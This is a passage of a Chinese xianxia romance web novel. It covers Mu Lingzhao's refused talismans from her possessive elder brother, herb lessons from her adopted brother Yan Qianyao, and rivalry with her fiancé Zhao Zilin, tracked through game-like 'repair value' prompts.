其实并不痛，更多的像是被虫咬了一口，转瞬即逝。 【修复值10%！】 燕千尧抬起头，那双不知何时变得黑漆漆的双眸冲她弯了起来：“多谢大小姐款待，下次我想再换个位置。” “这里怎么样？”燕千尧的手指点在了她的锁骨上方，那里是温热的，因为主人的紧张正在激烈跳动着的脉搏。 慕灵昭心跳得更快了几分，她用力拍开了他的手，瞪他：“想得美。” 她揉着手腕，上面留下了一点点斑驳的红痕，乍一看，像朵桃花花瓣。 但对慕灵昭来说，不管是红痕还是被吸血都无所谓，她心里想得是另一件事。 “喂。”慕灵昭直视着燕千尧的眼睛，“我命令你，从明天开始教我药草和阵法。” 她要学。不管是什么知识，她都要得到。 …… 燕千尧离开了之后，慕灵昭还有些回不过神。 他不仅答应了教她那些知识，还说会给她换个更牢固的院门禁制，除了她的允许外，没人能进来。 ……当然，燕千尧自己不包含其中。 慕灵昭准备洗漱入睡时，窗外突然传来了咚咚的声音。 她抬头望去，熟悉的波动越过窗棂，和夜风一同闯了进来。 金色光芒跃入眼帘—— 是地阶通讯符。 慕灵昭一眼便认了出来，这是来自黑渊城的通讯符。 因为……这么多年，她都是用哥哥送她的这种通讯符来试着跟他联络的。 小白迟疑地道：【这应该是慕西归传来的，大小姐你要接吗？】 那张金光闪闪的符咒在大小姐的紫眸中跳动着，像是燃烧的火焰，又像是某种隐秘的催促。 慕灵昭伸出了手，握住了那张符咒。 …… 阳春三月，草长莺飞。 朝子临眉梢扬起，红瞳盯住了不远处那道熟悉的纤细身影。 以及…… 她身旁那个碍眼的人。 朝子临皱起了眉，白玉折扇一下又一下在掌心中敲着，目送着那两道人影并肩前行，最终一同消失在了视野中。 而他们前去的地方——朝子临微微眯眼，看清了门口的标识： 【衡源药田】。 朝子临知道这个地方。 衡为平衡，源为根源，共同有平衡阴阳，维持万物运转的含义。 此地是慕家精心搭建的药田，据说里面的草药足有万种，光是天阶地阶的灵草都有不下百种，更别提还有几种据说早就灭绝的上古草药。 来慕家之前，朝子临有一项计划就是来要衡源药田参观一下。但没想到的是意外太多，打乱了他的计划。 朝子临若有所思，如果他没记错的话，那个叫做燕千尧的二公子，最擅长的就是毒蛊之术，他所住的院子附近还有慕家特意给他安排的一小块药田。 所以，大小姐跟着他去衡源药田做什么，不言而喻。 但是…… 折扇咔嚓一声，被朝子临重重地合了起来。 他昨晚明明跟慕西归那家伙解释了他和慕灵昭的婚事，以那家伙的性格，一定会第一时间去找他心爱的妹妹，安慰她，让她安心，顺便让她远离她那个不怀好意的未婚夫，等着他回来。 而以慕灵昭容易轻信人的性格，和她对慕西归的信任，她一定会全然听她哥哥的，然后再哭诉一番近期的遭遇，添油加醋地说那个新来的养兄是如何欺负她的。 如此，慕西归会得知他多了一个新弟弟，而他的妹妹拥有了一个除他以外的哥哥。以他的掌控欲，绝对不会容忍慕灵昭靠近那个养子半步。 因此，在接通慕西归的通讯后，朝子临就做好了数十种的预估，但没有一种包含了眼下的情况。 大小姐怎么会和燕千尧和睦相处，这一点都不合理。 难不成，她就真的彻底厌倦了慕西归，转头让这个来路不明的养子当她的新哥哥？ 朝子临的面上带着他自己都没有察觉到的烦躁，他紧攥着折扇，提步进入了药田。 12、第十二章 第十二章 “你的手怎么了？” 艳阳高照，四下是郁郁葱葱的草药，慕灵昭顺着燕千尧的目光看去，看向自己泛着不正常红色，肿胀的掌心。 慕灵昭立刻把手背到身后，含糊道：“没什么，被虫子咬了吧。” “什么虫子能这么毒。”燕千尧挑眉，“给我看看。” 慕灵昭始终背着手，瞪他：“不要，你快教我，怎么这么多话。” 燕千尧凉凉地扫了她一眼，道：“就当我狗拿耗子多管闲事吧。” 他抛来了一个小瓷罐，语气很冷地道：“涂上试试。这种药膏应该对绝大多数的外伤都有用。” 说完，他便转过了头，自顾自地向前走，没再理她。 慕灵昭悄悄地拧开瓷罐，往右掌心抹了一点上去。 绿色膏体倏一接触皮肤，便渗透了进去，化为了一股刺骨的凉意。 慕灵昭咬着下唇，不想让前方的燕千尧听见。出乎意料的是，这药膏的效果非常好，凉意散去之后，掌心恢复如初，看不出半丝伤痕。 也就像是……昨晚带给她伤口的那张符咒压根没有出现过一样。 慕灵昭长长的睫羽垂下，遮住了眼眸中的情绪。 但她还清晰地记着昨晚发生的事。 那张来自慕西归的通讯出现之后，她犹豫再三，还是没有接通，而是用力地将它捏碎了。 她没有灵气，所以，捏碎符咒时迸溅出的灵气瞬间便伤到了她，让她痛了一整个晚上都没有好转。 现在回想，手心中的伤口真的好痛。慕灵昭也不知道自己昨晚到底是怎么想的，也没有去叫人处理，竟然自己都忍住了。 ……也忍住没有接通哥哥的通讯。 不对，是慕西归。慕灵昭鼓起双颊，愤怒地想，她还没有原谅慕西归，他也休想用一张通讯符就把她给打发了。 不过—— 慕灵昭几步便奔到了燕千尧的身侧：“谢啦讨厌鬼，你的药膏还挺好用的。你之后可以教我怎么做吗？” 燕千尧微掀眼皮，目光从她垂下的右掌心扫过，轻嗤道：“大小姐你还是先学会走吧，跑没那么简单。” “你——”在慕灵昭的怒视中，他话锋一转，道：“但是，我可以先教给你一些有关符咒的简单技巧，这样下次你遇到符咒就可以直接解决了，而不是用手捏。” 慕灵昭脸噌地一下红透了，咬牙道：“要你管！” “那你学吗。” “……我学。”慕灵昭重重地拽了一下他的衣袖，大声地道，“我说我学，我要学，你听到了吗。” 燕千尧似乎笑了一下：“听见了。” …… “这个是赤雷草，一般用来制造和火、雷有关的符咒。” “不能直接上手碰，要用特殊的工具去收集处理。”燕千尧眼疾手快地拉住了慕灵昭，皱眉道，“你的手不想要了。摸一下能痛半个月。” 他脸色很沉，少了点厌世和无所谓，整个人散发出一种和之前截然不同的气势。 慕灵昭哦了一声，还真就乖乖把双手背到了身后，一声没吭，听话的像是换了一个人。 燕千尧看了她一眼，继续道：“这个是风刃藤，用处很广，叶子可以用来入药或是炼制符咒。而主藤体可以用来当做炼器的材料，还能布阵，让阵法变得非常坚固。” “这个是五蕴毒。它比较独特，白天和晚上都会产生不同的功效。”燕千尧伸手演示，捏了一下那团像是白色雾气一样的东西，它们迅速聚拢，又很快分开。 “白天是白色的，无毒。晚上是黑色的，有剧毒……” 慕灵昭听得非常认真，有的太复杂，实在记不住的地方她还会拿起提前准备好的本子和笔记下，争取不落下丝毫。 也因此，她完全没有察觉到燕千尧看向她的目光。 如果说一开始，燕千尧还觉得大小姐只是一时兴起，或是又想出了什么捉弄人的新方式。 但现在，燕千尧盯着大小姐如玉般的侧脸，忽然觉得这样的“授课”也挺不错的。 很久之前，这些有关草药的知识对他来说是种羞辱，他是被迫并且在走投无路的情况下才去学习它们的。 他一度厌恶它们，并且憎恨使用这些知识的自己。 可现在看来……这些东西果然还是有些用的。 紫色纹路在他的手臂上翻腾着，像是在宣泄着某种微妙的情绪，最终又被他层层压制了下去。 燕千尧收回目光，若无其事地继续“授课”。 【恨意值30%】 突然响起的声音吓了慕灵昭一跳，她抓紧记下最后几个字，悄悄地瞥了身侧的燕千尧一眼。 谁曾想，瞬间就被正主逮到了。 燕千尧那双狐狸眼在阳光下像是琥珀色的蜜糖，流动着莫名的光辉：“怎么了？这个有什么问题吗。” 他指向了一种名为“半月饮”的草药。 鬼使神差的，慕灵昭伸出手，一把抓住了他的手指。 很冷，像是一块陈年寒冰。 【！】小白惊呆了，结巴道，【修、修复值10.09%……】 慕灵昭更紧地握住了那根手指，抬眸看向他。 燕千尧意料之外的没什么反应。琥珀色的狐狸眼依旧维持着看向半月饮的姿势，唯有他裸露在外的皮肤上，紫色纹路正在疯狂地涌动蔓延，像是要破土而出—— 慕灵昭脱口而出：“你的手怎么了？” 她本来是想找借口说他手上有东西，现在好了，不用找借口了，他的手真出问题了。 燕千尧回神，抽了下手，没抽动，对上了大小姐理直气壮的紫眸：“……” 他闭了闭眼，道：“你又要做什么。” 紫雾暴起的疼痛和莫名而来的烦躁让燕千尧的语气很冷。 他刚想呵斥她几句让她松手，没曾想，柔软的触感撬开了他的手指，顺理成章地钻进了他的掌心。 大小姐跟他十指相扣，拽起他的手看向那些几乎要宣泄而出的紫雾，嘀嘀咕咕地道：“你这不会是中毒了吧？之前有这样吗？总感觉有一点点眼熟……” 燕千尧又抽了抽手，没抽动，但那些紫雾已经在大小姐的目光注视下，飞快地钻回了身体深处。 疼痛迅速退散，燕千尧动了动手指，面无表情道：“你到底还要不要学了？” 十指相扣的地方立刻晃了晃，慕灵昭眼眸弯弯，道：“现在这样也可以学呀，还是说你有什么不舒服的地方。” 燕千尧垂在身侧的左手紧攥成拳，他冷笑道：“我都行，只怕大小姐别一会儿又哭着喊着说我在欺负你。” 慕灵昭瞪了他一眼，侧过头去没说话。 授课继续进行，只是这一次氛围变得古怪了起来。 大小姐用的本子自带灵力，可以悬空摆放，她记笔记没有受到丝毫的影响，反观燕千尧—— 在他又一次直接上手触碰到了毒药时，他是真的有些受不了了。 燕千尧暗中催动紫雾解毒，目光落在了他们十指相扣的地方。 独属于大小姐的温度源源不断地传了过来，燕千尧觉得自己应该是厌恶的——他体温上升，心跳加快，甚至脑子都有些糊涂了。 如果这是大小姐希望看到的话，那她已经成功了。 就在燕千尧忍不住想要直接甩开她的手时，身后突然传来了一道声音： “这么好玩吗？还不松手。” 燕千尧立刻察觉到大小姐的手颤了一下。 【修复值13%。】 慕灵昭回头看去，不出意外地看到的那张讨人嫌的脸，没好气地道：“你来干什么？跟你何干？” 朝子临摇着折扇微笑：“我只是路过罢了。昭昭，你的手是出什么问题了吗？要不要我去请医师帮你看看。” “不需要，我没事。”慕灵昭听着耳边修复值在不停上涨的消息音，忍不住又晃了晃和燕千尧相握的手，“路过就快点走开呀。” “……”朝子临手中的折扇停止了摇晃，面上依旧在微笑，只是语气变得有些轻飘飘的，“昭昭，你是不是忘记什么了？” 慕灵昭眨了眨眼，道：“什么？” 朝子临上前几步，手中的折扇重重地敲在了燕千尧的腕骨上。 燕千尧没松手，反倒是慕灵昭因为灵气的突然冲击，一时受不住挣脱开来：“你干什么？” 朝子临的视线平静的从燕千尧的脸上划过，落在了那张正怒视着他的小脸上：“你是不是忘了我们的婚约。” 【修复值15%。】 就差一半了，慕灵昭气的去踩他的脚：“婚约，婚约怎么了？” “是你说得迟早会跟我解除婚约，现在又拿这个来压我做什么？” 朝子临忽地敛了笑，一把攥住了慕灵昭的手腕。他刚欲开口，余光瞥见了一道金光，正朝着他们几人的方向冲了过来。 金光转瞬而至，化为了一张特定的通讯符，朝子临甚至从其上察觉到了熟悉的灵气波动。 雷系天灵根，来自他的好兄弟，慕西归。 朝子临下意识松开了手，朝后退了一步。 意识到自己的动作后，朝子临微变了脸色。 他也很快注意到慕灵昭的脸色变了。怒气褪去，取而代之的是一种复杂的情绪。 她盯着那张符咒看了很久，最终什么也没说，拉着燕千尧离开了。 朝子临皱眉，隐约意识到了什么。 他跟了上去，很快就又被忍无可忍的大小姐重重地踩了脚：“你一直跟着我们干什么？” 朝子临笑道：“大路朝天，我想走哪里就走哪里。” 他顿了顿，试探地道：“……那张符咒？” 慕灵昭剜了他一眼，扭头走了。 这回她特意甩开了朝子临，本想是让燕千尧再教她一会儿，再找机会把剩余的5点修复值给刷满。 谁曾想，不到一盏茶的时间，熟悉的金光再次冲到了她的面前。 只一瞬间，慕灵昭就感觉到眼眶处浮上了一层热意。但她注意到燕千尧的目光正落在她的身上，就又硬生生忍了回去。 “今天就到这里吧。”慕灵昭的心头乱糟糟的一片，她低垂着头，咬着唇道，“明天再继续，我先回去了。” 她直接就走了，没等燕千尧的回复，连回头几步撞到了朝子临都懒得再去看他，直接绕开了他。 “……又怎么了？”朝子临回头望见那张金光闪闪，正等待着接通的符咒，就什么都明白了。 几步外，那个阴沉古怪的养子冷冷地看了他一眼，便也跟着离开了。 徒留朝子临一人留在原地，他凝视着那张符咒，心头涌上了一股微妙的情绪。 像是喜悦……但又不尽然。 朝子临捏着扇柄，心道： 这一次，大小姐真的不要她哥哥了吗？ 13、第十三章 第十三章 “昭昭，我们可以商量一件事吗？” “什么事？”软绵绵的雷云在慕灵昭的手中肆意地变换着形状，时不时有锐利锋芒的闪电在其中闪动，却伤不到她丝毫。她得不亦乐乎，头也不抬。 青年一双狐狸眼微微弯起，他伸出大掌，揉了揉慕灵昭的头：“我们昭昭又乖又漂亮，一定会答应哥哥的请求，对不对？” 慕灵昭终于舍得分给他半分目光，轻哼道：“那要看是什么请求了。” 她说着，用胳膊肘怼了怼他，道：“再来一点，这个变小了。” 青年立刻往雷云中灌注了灵气，让它变得更大更蓬松。他轻笑道：“以后如果哥哥再惹昭昭生气了，我们可以规定一个次数吗？” 他竖起三根手指：“哥哥会无条件的哄你三次，但三次之后，昭昭就要开始回应哥哥了，好不好？” “就像今天这样，昭昭一直不理我，但是第四次就开始理我了。” 慕灵昭停下了玩雷云的手，歪头思索了一会儿，道：“可是万一以后我非常非常生你的气怎么办？生气到我完全不想理你，并且再也不想理你了，怎么办？” “那就是哥哥的事情了。”青年眼眸深深，牵起了慕灵昭的手，同她紧紧地十指相扣，“哥哥会保证努力不惹我们昭昭生气，如果有万一，那哥哥一定会竭尽全力哄你开心。” “只希望昭昭可以给哥哥一个机会，一个……第四次回应我的机会。” 紫黑色闪电照亮了青年深邃的眉眼，以及那张对她满是纵容的笑脸。 慕灵昭猛然回神，紫眸黯淡。 她以为自己早就忘记了，没想到那天的细节她依旧记得清清楚楚。 自从那日约定好之后，不管哥哥如何惹她生气，慕灵昭总是会赶在第四次之前回应他。 她想，哥哥说的话总是有道理的，而且哪有什么过不去的仇怨，她也气不了那么久，总是隔一天气就消的差不多了。 第四次成了她和哥哥之间一个心照不宣的约定。 慕灵昭本以为约定会一直这么进行下去，直到今天—— 她第三次拒绝了接通慕西归传来的通讯符。 慕灵昭离开了，她逃避了即将到来的第四次。 眼眶中的湿意在一层层凝聚，她努力睁大眼睛，视野逐渐变得模糊，茫然地想：可是为什么呢……明明早就下定决心，不要再理慕西归了，再也不把她当成自己的哥哥了。 可是为什么，她会这么难过，会想也不想地逃避第四张通讯符？ 慕灵昭脑海里乱糟糟的一片，一会儿是慕西归那张总是对她眼眸弯弯的笑，一会儿又是那三张金光闪闪的通讯符，她甚至每隔几息都会四下张望，去寻找那张似乎随时会到来的通讯符。 莲叶田田，红鲤绿波。 慕灵昭盯着那些欢快穿梭在莲叶中的红鲤鱼，目无焦距地抛下了一些鱼食。 她很喜欢待在这里，旁边有她的几艘小舟，甚至湖心的小亭里还有她的寝具和衣物。 ……都是慕西归在时为她一点点布置的。 慕灵昭撒下了一把又一把鱼食，漫无目的地数着前来争抢的锦鲤数目，她也不知单数代表了什么，双数又代表了什么，只是数着。 也只是，偶尔会多数那么一只。 “大小姐。” 话音落下，燕千尧清晰地看到前方少女的肩膀颤抖了一下。 她四下张望了一圈才看向他，眼眶红红的，紫眸莹润着水光，唇瓣也被咬得满是齿痕：“你来干什么？” “不会是……”大小姐不知想到了什么，咬紧了下唇，登时朝后退了一步，警惕又慌张地道，“我不要接通讯符！我没见过你，你快走，离开这里！” 燕千尧紧皱眉头，一把拉住她的胳膊朝自己的方向带了几步：“你在干什么，你要掉下去了，不知道吗？” 被他这么呵斥，大小姐眼眶更红了，她恨恨地瞪着他，紫眸中的泪水要掉不掉：“要你管！” 她想挣开他的手，却动弹不得，气得又要抽出腰间的鞭子去甩他，却不知怎的，在碰到鞭子的一瞬间，大小姐像是被戳破的灯笼一般蔫了下去，眼泪也夺眶而出：“松开我，我讨厌你！” “我最讨厌你了。”大小姐狠狠地踹了他一下。 燕千尧平静地道：“我最讨厌的人也是你。” “所以，”燕千尧不顾她的挣扎，将她带离了那片荷花池。他垂眸盯着那张愤怒的脸，“在我没有报复完你之前，你不能死。” “你这个疯子。”大小姐脸颊上的泪珠滚滚而落，一只手根本来不及擦。 燕千尧冷眼看着她流泪挣扎，只紧紧地攥着她的手腕不松手。 他听着他抽噎着，翻来覆去地骂他，说要找她爹娘告状，找朝子临打他，却偏偏没有提到过慕西归。 不知过了多久，大小姐终于平静下来了，慢慢止住了哭泣，长长的睫羽湿哒哒地结成团，似乎很痒，她一个劲儿地伸出手揉。 燕千尧微拢眉头，伸手捏住了她的下巴。 慕灵昭有一瞬的瑟缩，下意识紧紧闭上了眼。 冷冽的，带着苦涩的药草香自她面上拂过。 慕灵昭睫羽微颤，试探着慢慢睁开了眼。 视野由模糊变得清晰，脸颊上的不舒服一扫而空，手腕上先前被燕千尧像疯子一样紧攥的地方，连半点痕迹也没有留下来。 而罪魁祸首正站在离她几步远的地方，抱臂睨着她，琥珀色的眼眸中看不出半点情绪。 愤怒褪去之后，慕灵昭的心头后知后觉地泛上来了某种名曰羞耻的情绪。 她竟然……当着这个家伙的面哭了，还哭成那个样子，一点形象都不顾。 太丢脸了！ 她慕灵昭除了当着爹娘和哥哥的面哭过外，从来没有丢过这么大的脸！ 慕灵昭咬紧牙关，恼羞成怒地瞪了他一眼，转了个相反的方向，提步就想奔走。 身后的燕千尧却用一句话就停住了她的脚步：“那两张通讯符是地阶的，如果不接通的话，能持续六个时辰以上。” 燕千尧走到了她的身边，眯起狐狸眼看她，唇角勾起：“还是说，大小姐本意就是想要其他人接通吗？” “你——” 慕灵昭眼眸瞪圆，几度张了张嘴，却什么话都没有说出口。 可能是刚才的大哭消耗了她太多的体力，慕灵昭忽然觉得很疲惫，她也不想再去面对那两张通讯符，以及，未知的第四张通讯符。 她抿住了唇，好一会儿才道：“讨厌鬼，你昨天答应过要听我话的。” 讨厌鬼的声音从头顶传了过来，似乎还带着笑意：“大小姐请讲。” “把那两张通讯符处理掉。”慕灵昭盯着自己鞋面上莹润洁白的珍珠，声音一点点地低了下去，“我不管你用什么样的方法，不要让任何人发现那两张通讯符，尤其是我娘亲那边的人。” 慕灵昭很早就意识到了，娘亲一直在阻止她和哥哥交流。所以，她先前每一次用通讯符联系哥哥都是私下里偷偷进行的，根本不敢让娘亲知道。 如果让娘亲知道了哥哥突然连着向她传来了几张通讯符……慕灵昭不愿深想。 燕千尧的声音停顿了一瞬：“好，大小姐放心，我会解决掉的。” 慕灵昭松了口气，刚欲开口，头上就微微一沉。 燕千尧的手非常生疏的在她头顶摸了摸，同时道：“其实大小姐你也不必这么难过的。” “我也可以给你做哥哥。” “……”慕灵昭收回了想踢他的脚，没好气地道，“就你刚才那样欺负我，还想当我哥哥？” “你想都不要想。” “还有。”慕灵昭抬起头，对上了那双狐狸眼。她有一瞬的恍惚，又很快清醒了过来：“有没有人告诉过你，你安慰人的本事实在太差劲了。” 那双狐狸眼有明显的怔愣：“那你想要我怎么安慰你？” 慕灵昭毫不犹豫地扑进了他怀里，双手紧紧地抱住了他的腰，头也埋进了他的胸口：“笨！要这样才算安慰啊。” 【修复值19.15%……】 琥珀色的眼眸瞳孔骤缩，被压抑到体内深处的紫雾暴涌而出，几乎要将他们二人彻底缠绕笼罩。 燕千尧第一反应就是想要推开她，但—— 他却仿佛分割成了两个人，望着那双属于自己的手合拢，收紧，直至彻底将少女拢在怀中。 【燕千尧恨意值35%。】 【当前修复值20%！】 慕灵昭动了动耳朵，她立刻推开了燕千尧，催促道：“好了，不用你安慰了，你快去把它们处理掉。” 讨厌鬼用一种很奇怪的表情凝视着她，好在他很快应了下来：“好。” 慕灵昭目送他离开，将鱼食尽数抛至湖中，便也回去了。 …… 燕千尧把玩着一张金光闪闪的通讯符。 如果慕灵昭在的话，她应该能认出来这是第三张通讯符——符咒的边缘泛着一圈淡淡的紫黑色。 她觉得这代表了哥哥的灵气，但燕千尧一眼便看了出来，这张符咒跟之前的不同，上面附带了一个小型的人像阵法。 也就是说，接通这张符咒，双方不仅可以进行通讯，还能看到彼此的实时影像。 燕千尧勾起了唇角，眼神却是冰冷的，他轻叹道：“慕大公子为了大小姐还真是颇费苦心啊……” 下一息，他毫不犹豫地催动灵气，接通了这张符咒。 14、第十四章 第十四章 燕千尧一直都知道，自己长得还算可以——因为这样的长相，他曾经经历被一些令人作呕的人觊觎。 也因此，有很长一段时间，他都非常厌恶自己的长相，也非常了解自己的脸长什么样。 所以当水幕徐徐展开，露出对面那张男人的脸时，燕千尧有一瞬的愣忪。 原因无他，对面人的脸跟他实在是太像了。 有那么一刹那，燕千尧以为自己看到了一面镜子。 只是很快，对面男人棱角分明的脸，以及冰冷狭长的狐狸眼让他瞬间清醒。 一时无人开口，两双相似却又截然不同的狐狸眼冷冷对望。四下沉寂间，燕千尧看清了男人琥珀色的眼瞳。 慕夫人也是这样的瞳色，而他同样。 燕千尧垂下眼眸，再度抬起眼时，那双狐狸眼中已满是笑意：“是大哥吧，久仰大哥威名，今日总算见到了。” “妹妹眼下不太方便，就拜托我来处理，让我跟大哥说一声。”燕千尧微笑，“大哥有什么要交代的尽管开口，我一定会照顾好昭昭的。” “……妹妹？”不知何时，男人的周身笼罩了一层紫黑色的雷光，他的脸沉在暗处，雷光明明灭灭，望不清神色，“就你，也敢这样称呼我妹妹。” 燕千尧笑容未变，和煦道：“大哥有所不知，妹妹很快便接受了我的身份，父亲和母亲也都教导我，要我一定要照顾好妹妹。” “你算什么东西？”男人语气冰冷，“离我妹妹远点。” 他没再给慕千尧回复的机会，单方面掐断了这次通话。 符咒化为灰烬的同时，燕千尧脸上的笑也迅速消失。 他眼眸暗沉，嗤笑了一声，将那些灰烬随手一抛。 怪不得大小姐讨厌他，不愿接这位慕大公子的通讯，他现在算是知道原因了。 这么高高在上，自命不凡……燕千尧面无表情地想，说不定等哪日他死在外面，大小姐都不会知道，也不会在乎。 …… 玄海派的入门考核在下个月，正巧也在东洲举行，所以慕灵昭跟着朝子临回朝家之后，收拾收拾就能继续参加入门考核了。 出发的日期就安排在明天，而这两日慕灵昭除了收拾行李，就是去找燕千尧学习草药，不仅成功制出了几种简单的毒药和阵法，还把修复值刷到了30%。 明日要早早出发，唯恐来不及告别，慕灵昭便特意前往了主院，跟娘亲和爹爹告别，还得到了好几个装得满满的储物戒。 就在她刚从主院出来时，迎面便撞见了一个熟悉的人。 慕灵昭扫了他一眼，犹记恨于上次的事，本来没想理他，朝子临却拦住了她的去路。 朝子临摇着折扇笑：“东西都收拾好了吗昭昭？你也不必带太多的东西，缺什么届时从朝家补就是了。” 想起明天还要跟着他一道出发，慕灵昭终于施舍给他了一个敷衍的笑脸：“差不多了，明天见。” 慕灵昭说完便转身，不欲跟他多聊，时间紧迫，她还准备去摘点草药炼制一下，等晚上再去找燕千尧刷点修复值。 马上就要去玄海派了，慕灵昭是一定要赶在入门考核之前修复好全部经脉，开始正式修炼的。 少女毫不犹豫地转身就走，双髻上垂下的流苏随之晃动，珠子在阳光下闪闪发光，刺入了朝子临的眼。 他微微眯眼，突然察觉到了些许违和之处—— 大小姐佩戴了很久的发带少了一根，取而代之的，是左手腕上多出的一根陌生红绳。 那根发带算不上珍贵，不过是一次外出归来时慕西归带给他的礼物，就被大小姐一直佩戴至今。 至于那根红绳……朝子临红瞳直勾勾地盯着那根红绳看，他没记错的话，那个新来的二公子就在胸前垂了两根小辫，绑的是一模一样的红绳。 “慕灵昭。”朝子临忽然开口，“你哥哥昨日和我打了通讯。” 那道樱粉色的背影顿了一瞬，又很快继续向前。 朝子临知道她听到了，只是故意装听不见罢了——大小姐经常这样做。 “他提起了你，”朝子临不紧不慢地道，“他说你最近不接通讯，问我你是不是很忙。” 大小姐瞬间转过了头。 朝子临笑了，向她的方向走了几步，对上了那张盈盈灵动的紫眸。 “你最近是有什么事吗？怎么连西归的通讯都不接。” 大小姐熟练地踩了他一脚，瞪他：“跟你无关。” “但是你哥哥很担心。”朝子临也不知自己怎的，被人踩了一脚反而勾起了唇角，“不会是因为那个新来的二公子吧？” 他停顿一瞬：“他不过是个养子，且刚来没多久，你若是因此和亲哥哥产生间隙就不好了。” “西归在走之前也特意交代过我，要我好好照顾你，还说不要让来路不明的人接近你。” 朝子临凝视着那张如玉石般莹白透亮的小脸，心头涌上了一股莫无法言说的微妙情绪：“所以，我可以给你当哥哥。在西归没有回来之前，你不需要找替身了。” 慕灵昭忽地抬起了头：“这是你的提议还是他的？” “我猜是他的吧。”大小姐咬住了下唇，道，“慕西归觉得我现在和燕千尧关系好，只是因为把他当成他的替代品了吗？” “毕竟他们确实长得很像，”朝子临道，他余光瞥见了不远处一棵大树后的一抹衣角，“你不要怪你哥哥这么想，我也有所疑惑。” “毕竟你一直那么讨厌那个燕千尧，近几日却突然转变了态度，实在让人想不通。” 朝子临隐隐看到了有紫色的雾气从那棵树后蔓延开来，他漫不经心地挪开目光，笑道：“我昨天还跟西归说起，是不是因为我的出现，还有我们的婚约，才逼得你不得不再找个哥哥帮你出头。” “如果是因为此，那我向你道歉。”朝子临诚恳地道，“我们的婚约暂时不着急，可以容后再谈，你不必因此勉强自己。在这之前，你可以放心把我当成你的哥哥。” “我一定会照顾好你的。” 朝子临红瞳盯紧了大小姐的脸，不错过一丝一毫。而不远处的情形他不需抬头，只需略微感知，那冰冷又充满敌意的灵气几乎要暴涌而至。 只可惜啊，朝子临满怀遗憾地想，大小姐目前还感知不到灵气，那二公子就是有再多的愤懑与憎恶，也影响不到她丝毫。 沉默之中，慕灵昭开口了。 她眨了眨紫眸，反问道：“你们为什么会这么想。我从来不会因为任何人委屈自己。” “我觉得你实在是太自作多情了，慕西归也是。”大小姐微抬下巴，用她一贯理直气壮的语气，道，“讨厌鬼不是任何人的替身，我现在跟他关系好也是由我自己决定的，跟任何人无关。” 慕灵昭又踩了朝子临一脚：“就你还想当我哥哥，你想都不要想。” “我永远忘不了小时候那次你抢我的糖葫芦。” 朝子临失笑：“你怎么还记着这事，后面不是赔给了你十根吗。” 慕灵昭道：“要是我哥哥，会赔给我一百根。” 朝子临无奈地道，“那我今日便赔给你一千根。” 慕灵昭道：“好哇！你要毁了我的牙齿。” “……”朝子临是真的无话可说了。 他发现她总是拿她没办法，就像现在。 “好了不闹了，说真的。”朝子临微微俯身，直视着那双明亮的紫眸，道，“二选一，只能有一个哥哥的话，你会选谁。” 紫眸明显怔愣了一瞬。 朝子临瞥了一眼树后，不疾不徐地继续道：“如果慕西归明天就回来了——你应该是最了解他的人了，你知道他性格的。” “你选谁？” 慕灵昭垂眸，咬住了下唇。 她想起了几年前的一件往事。 那时有位世家的公子来慕家做客。他性格比较开朗，喜欢逗弄人。 慕灵昭不讨厌他，还觉得他挺有意思的，很聊得来。 有一次，她嘴快叫了他声“哥哥”，恰好被赶来的慕西归给听到了。 当时慕西归毫无反应。但隔日，慕灵昭听说那人出门莫名其妙被暴乱的妖兽袭击，断了一只手，很快离开了慕家。 当晚，慕灵昭半夜从梦中惊醒，看到了窗外站着的慕西归。 隔着窗户，慕灵昭看不清他的神色，只记得他沉沉的声音：“……昭昭。” “你以后能不能别叫别人哥哥了？” 慕灵昭想答应，话出嘴却是：“哥哥只是一个称呼罢了。” 慕西归似乎笑了笑，道：“半年前，远房堂妹来家中做客，你不许我喊她妹妹。” “两年前，子临的表妹和我们相遇，你因为她喊我哥哥生了一下午闷气。” “还有……” “好了！”慕灵昭忍无可忍地推开窗，怒视他，“不喊就不喊，哪有像你这样翻旧账的。” 慕西归对她笑：“所以昭昭可以答应我吗？” “我想，对你我而言，这不仅仅只是一个称呼，是特殊的存在。” 他递来了一个储物戒，里面装满了灵石和宝物，还有一些眼熟的小玩意—— 那个世家公子前段时间送给了她类似的，慕西归全部换成了新的替代品。 “哥哥会给你想要的一切。”慕灵昭至今都记得那双凝视着她的眼眸，“你也只需要有哥哥就好了，对不对昭昭？” …… “你不急着告诉我，可以回去后好好想一想。”朝子临笑道，“或者，你可以亲口告诉西归。” 慕灵昭瞅了他一眼，总觉得他的笑特别可恶，又给了他一脚。 她心不在焉地转身。临走前，不知道是不是错觉，她隐隐闻到了一股香味。 苦涩的，带着凉意的熟悉味道。 15、第十五章 第十五章 慕灵昭没有等到燕千尧。 他昨日没有来吸血，按理说今晚是一定要来的。但慕灵昭足足等了半个时辰，都没有听到窗户被敲响。 她只犹豫了一瞬，便决定去找燕千尧。 修复经脉迫在眉睫，她必须要尽可能把每天的修复值都刷满。 慕灵昭奔得飞快，只用了不到半个时辰就跑到了燕千尧的院子。 进去之后她就到处找，房间、药田……各处都被她转了一圈，最后在边缘的一个独立小房间中隔窗看到了那道熟悉的身影。 刚踏入房间，慕灵昭就隐隐察觉到了些许不对劲。 阴沉冷凝的气息几乎扑面而至，入目是一片浓郁的黑暗，慕灵昭下意识想后退，却硬生生忍住了。 “……燕、燕千尧！”慕灵昭点亮了一只燃火符，小声叫道。 橘红色的火焰照亮了少女略显苍白的下颔以及被紧咬着的下唇。 “燕千尧，我知道你在，你在干什么？” 无人回应，慕灵昭又往前走了几步，火焰随着她的步伐颤动着，在墙壁上拉出细长诡谲的影子。 最终，在越来越浓郁的古怪味道，以及愈发清晰的滴答声中，慕灵昭对上了一双正直勾勾盯着她看的眼睛。 燕千尧不闪不避，直视着火焰，视角往下，慕灵昭看清了他正在不停涌出鲜血的手腕——滴答声正是因此而来。 “你疯了？！”慕灵昭惊呆了，手忙脚乱地就想要帮他止血，结果一时不知要把那张符咒放在哪里，反而看清了那些鲜血的去处。 燕千尧的身旁摆放了一个足有几尺宽的巨大瓷盆，里面困住了各种各样，长相奇特的虫子。它们正在不停地厮杀搏斗，而每当鲜血滴下，就会立刻引起更大的骚乱。 “你……”慕灵昭憋了半晌，道，“你不疼吗？” 那双狐狸眼只轻飘飘地瞥了她一眼，便垂了下去，继续盯着瓷盆中的蛊虫看。 慕灵昭点亮了一盏油灯，稍稍驱散了屋内的黑暗，而那些虫子似乎畏光，尽数蜷缩在了瓷盆中的一角。 燕千尧登时皱起了眉，他听见大小姐道：“我帮你包扎一下吧。” “不需要，离我远点。”他只觉得厌倦又烦躁。紫雾让他头痛欲裂，理智又再次在崩坏的边缘摇摇欲坠。 